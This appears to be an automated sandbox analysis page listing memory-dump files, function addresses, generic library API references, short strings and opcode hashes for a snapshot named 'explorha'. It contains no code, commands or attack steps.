Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID:
String ID: XL$XL
API String ID: 0-2949781707
Opcode ID: ac59082c9d6dce2fb0acae6c1eb29a2d77903316a9a26bfd3db1b491670abf65
Instruction ID: b697337ffe96abf3987982308320fa93138171c94eaa0399ddda0f596072b228
Opcode Fuzzy Hash: ac59082c9d6dce2fb0acae6c1eb29a2d77903316a9a26bfd3db1b491670abf65
Instruction Fuzzy Hash: 03F15D75E012199BDF14CFA8C990BAEBBB1FF89314F25826ED819A7344D734AD01CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004B8829 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 004B886B

Strings

.com, xrefs: 004B88AB
.bat, xrefs: 004B889A
.exe, xrefs: 004B8878
.cmd, xrefs: 004B8889

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 9675e4aa3b3f89fd336dc0f97ca55c4cbc8b55a1eadcafa87c210ea0bc2c0bad
Instruction ID: 60917a872d78794b989c028ac71a743255c3379d4e53932b347fa6ec0d44c255
Opcode Fuzzy Hash: 9675e4aa3b3f89fd336dc0f97ca55c4cbc8b55a1eadcafa87c210ea0bc2c0bad
Instruction Fuzzy Hash: 4301C477A04626262614341DAC126A7179C9BC2BB472A002FFC44F73C1FE9DDC02D5BC

Uniqueness

Uniqueness Score: -1.00%

Function 0048D6EE Relevance: 7.7, APIs: 5, Instructions: 235COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0048D75D
__Mtx_unlock.LIBCPMT ref: 0048D86D

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: bd73cb9a205481c0b5f4689b7f7a3a5c5f629c145cf56b074aae3255f943b2ef
Instruction ID: 51e3c2ccc6327ba637028eeef240f760f739632a82eb22ddc916100103d03df8
Opcode Fuzzy Hash: bd73cb9a205481c0b5f4689b7f7a3a5c5f629c145cf56b074aae3255f943b2ef
Instruction Fuzzy Hash: 4681D771D012059BDB24EB19CC85F6EB7A4EF08314F10457AE919A73D1EB39AD40CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0048DAEB Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0048DB4C

Strings

stoi argument out of range, xrefs: 0048DCFA
invalid stoi argument, xrefs: 0048DD04
SN, xrefs: 0048DBFF

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: invalid stoi argument$stoi argument out of range$SN
API String ID: 1418687624-3436069291
Opcode ID: f8c836ae669b6f37b8c644d0b94c42df43a5499562253f36b40ccc0c904422e3
Instruction ID: 9ae1dd5e025870ae7aefc2c05e332260e17f465f5f4820bda324d8fcfc0f460b
Opcode Fuzzy Hash: f8c836ae669b6f37b8c644d0b94c42df43a5499562253f36b40ccc0c904422e3
Instruction Fuzzy Hash: 2C11A332E002059BDF24EB65D841A6EB7B1EF44325F15486BE94977291EB39AC00CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004BE110 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004BE197

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b713bfd49b51041abb555fe8b87117765181b7de4fabe3ba4743ab7c7481a45c
